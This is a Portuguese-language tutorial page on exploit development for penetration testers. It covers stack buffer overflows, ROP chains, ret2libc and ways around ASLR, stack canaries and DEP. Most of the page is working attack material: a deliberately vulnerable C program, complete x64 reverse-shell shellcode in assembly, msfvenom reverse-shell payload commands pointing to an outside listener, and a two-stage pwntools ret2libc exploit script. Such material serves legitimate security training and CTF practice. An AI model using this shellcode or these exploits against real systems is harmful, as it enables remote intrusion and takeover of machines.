Exploit Development: Buffer Overflow, ROP e Shellcoding
Baixar PDFBuffer overflow básico a avançado, shellcoding, ROP chains, ret2libc, ASLR/DEP bypass — desenvolvimento de exploits para pentest avançado.
Exploit development é a habilidade mais técnica em segurança ofensiva. Transforma uma vulnerabilidade de memória em execução de código arbitrário.
Buffer Overflow — Fundamentos
Stack layout
Higher addresses
┌──────────────────┐
│ Arguments │
├──────────────────┤
│ Return addr │ ← Sobrepor aqui
├──────────────────┤
│ Saved EBP │
├──────────────────┤
│ Local vars │
│ ┌────────────┐ │
│ │ buffer[8] │ │ ← Overflow começa aqui
│ └────────────┘ │
├──────────────────┤
│ │
Lower addressesVulnerable code
// vuln.c
#include <string.h>
#include <stdio.h>
void vulnerable_function(char *input) {
char buffer[64];
strcpy(buffer, input); // Sem bounds checking!
printf("Input: %s\n", buffer);
}
int main(int argc, char **argv) {
vulnerable_function(argv[1]);
return 0;
}
// Compilar sem proteções (para estudo):
gcc -fno-stack-protector -z execstack -no-pie -o vuln vuln.cFinding offset
# Gerar pattern cíclico
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
# Output: Aa0Aa1Aa2Aa3Aa4Aa5...
# Rodar com pattern
./vuln Aa0Aa1Aa2Aa3Aa4Aa5...
# Segmentation fault at 0x61413161
# Encontrar offset
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x61413161
# Output: [*] Exact match at offset 72
# Buffer de 64 bytes + saved EBP (8 bytes) = 72 bytes até return addressShellcoding
Reverse shell shellcode (x64 Linux)
; reverse_shell.asm
section .text
global _start
_start:
; socket(AF_INET, SOCK_STREAM, 0)
xor rdi, rdi
mov dil, 2 ; AF_INET
xor rsi, rsi
mov sil, 1 ; SOCK_STREAM
xor rdx, rdx ; protocol = 0
mov rax, 41 ; sys_socket
syscall
mov rdi, rax ; fd do socket
; connect(fd, &addr, 16)
xor rax, rax
push rax ; padding
mov dword [rsp-4], 0x0100007f ; 127.0.0.1 (network byte order)
mov word [rsp-6], 0x5c11 ; port 4444 (network byte order)
mov word [rsp-8], 2 ; AF_INET
sub rsp, 8
mov rsi, rsp
mov dl, 16 ; sizeof(sockaddr_in)
mov rax, 42 ; sys_connect
syscall
; dup2(fd, 0/1/2)
xor rsi, rsi
dup2_loop:
mov rax, 33 ; sys_dup2
syscall
inc rsi
cmp rsi, 3
jl dup2_loop
; execve("/bin/sh", NULL, NULL)
xor rax, rax
push rax
mov rbx, 0x68732f6e69622f2f ; "//bin/sh"
push rbx
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov al, 59 ; sys_execve
syscall# Gerar shellcode
nasm -f elf64 reverse_shell.asm
ld -o reverse_shell reverse_shell.o
objdump -d reverse_shell | grep '[0-9a-f]:' | cut -f2 | tr -d ' \n' | sed 's/../\\x&/g'msfvenom (geração rápida)
# Reverse shell Linux x64
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f raw -o shell.bin
# Windows reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f raw -o shell.bin
# Sem caracteres ruins
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -b '\x00\x0a\x0d' -f raw
# Formato C
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f cROP (Return-Oriented Programming)
DEP (Data Execution Prevention) impede execução de shellcode na stack. ROP usa gadgets existentes no código.
Conceito
Instead of shellcode on stack:
┌─────────────────┐
│ gadget_addr_1 │ → pop rdi; ret
├─────────────────┤
│ argument_1 │ → valor para rdi
├─────────────────┤
│ gadget_addr_2 │ → pop rsi; ret
├─────────────────┤
│ argument_2 │ → valor para rsi
├─────────────────┤
│ system_addr │ → chama system("/bin/sh")
└─────────────────┘Encontrar gadgets
# ROPgadget
ROPgadget --binary ./vuln --ropchain
ROPgadget --binary ./vuln --only "pop|ret"
ROPgadget --binary ./vuln --only "mov|ret"
ROPgadget --binary ./vuln --string "/bin/sh"
# ropper
ropper -f ./vuln --search "pop rdi"
ropper -f ./vuln --search "pop rsi"
# one_gadget (encontra gadgets que dão shell direto)
one_gadget libc.so.6
# Output: endereços onde um único gadget executa execve("/bin/sh")ret2libc exploit
from pwn import *
elf = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# Gadgets
pop_rdi = 0x401206 # pop rdi; ret
# Addresses
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = elf.symbols['main']
# Stage 1: leak libc address via puts(puts@GOT)
payload = b'A' * 72
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)
p = process('./vuln', argv=[payload])
leak = u64(p.recvline()[:6] + b'\x00\x00')
libc_base = leak - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
# Stage 2: system("/bin/sh")
payload2 = b'A' * 72
payload2 += p64(pop_rdi)
payload2 += p64(bin_sh_addr)
payload2 += p64(system_addr)
p.sendline(payload2)
p.interactive()Proteções e Bypass
| Proteção | O que faz | Bypass |
|---|---|---|
| ASLR | Randomiza endereços de memória | Leak de endereço → calcular base |
| DEP/NX | Não-executável stack/heap | ROP (ret2libc, ret2shellcode) |
| Stack Canary | Valor antes de return address | Leak canary ou overwrite parcial |
| PIE | Randomiza base do executável | Leak de endereço do executável |
| RELRO | Protege GOT | Ataque parcial (partial overwrite) |
| FORTIFY | Bounds checking em funções | Bypass com inputs não detectados |
Stack Canary bypass
# 1. Leak canary via format string
# Se printf(input) existe:
# %17$p (ou outro offset) vaza canary
# 2. Brute-force byte a byte (fork server)
# Se processo fork(), canary é igual em todos os filhos
# Tentar 256 valores para cada byte
# 3. Overwrite parcial (1 byte)
# Se apenas último byte do canary é alterado
# 1/256 chance de manter canary intactoASLR bypass
# 1. Leak de endereço via format string
# %p ou %x vaza ponteiros da stack
# 2. Partial overwrite
# Overwrite apenas os 12 bits menos significativos
# (ASLR não randomiza os últimos 12 bits = page alignment)
# 3. Information leak via GOT
# puts(puts@GOT) vaza endereço real de puts em libc
# Calcular base de libc = leaked - puts_offset
# 4. Heap spray
# Alocar muitas cópias do shellcode em endereços previsíveisFerramentas
| Ferramenta | Uso |
|---|---|
| GDB + pwndbg/GEF | Debugging, análise de memória |
| pwntools | Framework de exploit em Python |
| ROPgadget | Encontrar gadgets ROP |
| ropper | Encontrar gadgets ROP |
| one_gadget | Gadgets que dão shell direto |
| checksec | Verificar proteções do binário |
| msfvenom | Gerar shellcodes |
| radare2/rizin | Reverse engineering |
| Ghidra | Decompilador (NSA) |
| Binary Ninja | Reverse engineering |
Referências
Social Engineering e OSINT Humano
Phishing avançado, pretexting, OSINT em pessoas, vishing, waterholing — o vetor humano como parte do pentest e bug bounty.
CTF e Labs de Prática
Plataformas de CTF, laboratórios de hacking, resolução de desafios, write-ups e como usar CTFs para acelerar aprendizado em segurança.